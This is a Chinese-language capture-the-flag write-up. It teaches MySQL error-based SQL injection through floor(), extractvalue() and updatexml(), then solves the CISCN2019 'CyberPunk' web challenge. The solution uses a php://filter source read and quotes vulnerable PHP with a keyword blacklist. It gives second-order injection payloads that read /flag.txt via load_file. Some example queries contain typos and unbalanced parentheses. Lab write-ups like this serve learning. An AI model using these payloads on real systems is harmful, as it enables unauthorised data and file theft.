1. 程式人生 > 實用技巧 >報錯注入——[CISCN2019 華北賽區 Day1 Web5]CyberPunk

報錯注入——[CISCN2019 華北賽區 Day1 Web5]CyberPunk

報錯注入

報錯注入有很多種,其中最常用的三種分別是floor()、extractvalue()、updatexml(),這裡附上一個參考連結https://www.jianshu.com/p/bc35f8dd4f7c

  • floor()報錯注入方法:select count(*) from infomation_schema.tables group by concat((select user()),floor(rand(0)*2);
    開啟MySQL命令框輸入命令檢視報錯資訊。

  • extractvalue()報錯注入方法:select extractvalue(1,concat(0x7e,(select user()),0x7e));


    extractvalue()接收兩個引數,第一個XML文件,第二個xpath語句。xpath語句格式錯誤返回資料。MySQL命令列中測試檢視。

  • updatexml()報錯注入方法:select updatexml(1,concat(0x7e,(select user()),0x7e,1);
    查詢出所有庫以及security中所有表的資訊。

通常會搭配MySQL的LOAD_FILE(file_name)函式讀取一個檔案並將其內容作為字串返回,如讀取flag檔案等。下面通過一道題目進行注入實現:

[CISCN2019 華北賽區 Day1 Web5]CyberPunk

題目直接給了提示<!--?file=?-->

,說明可能存在檔案包含漏洞,於是用filter偽協議讀取原始碼?file=php://filter/read=convert.base64-encode/resource=xxx.php

然後就是程式碼審計了,發現在confirm.php和change.php頁面中存在注入漏洞。提交訂單時對姓名和電話都進行了過濾,但是沒有過濾地址,導致在預編譯處理之後,在修改訂單處存在二次注入。在'old_address'='".$row['address']."'處,用了一開始提交的地址,從而造成了惡意程式碼的拼接。

confirm.php 處關鍵程式碼:

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交訂單";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();

change.php 處關鍵程式碼:

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

所以在提交訂單的時候的地址處構造一個用來注入的語句,然後再修改一下訂單,完成注入。由於flag太長,需要通過改變substr的起始值,才能獲得全部的flag。

extractvalue()

1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e));#
1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e));#

updatexml()

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#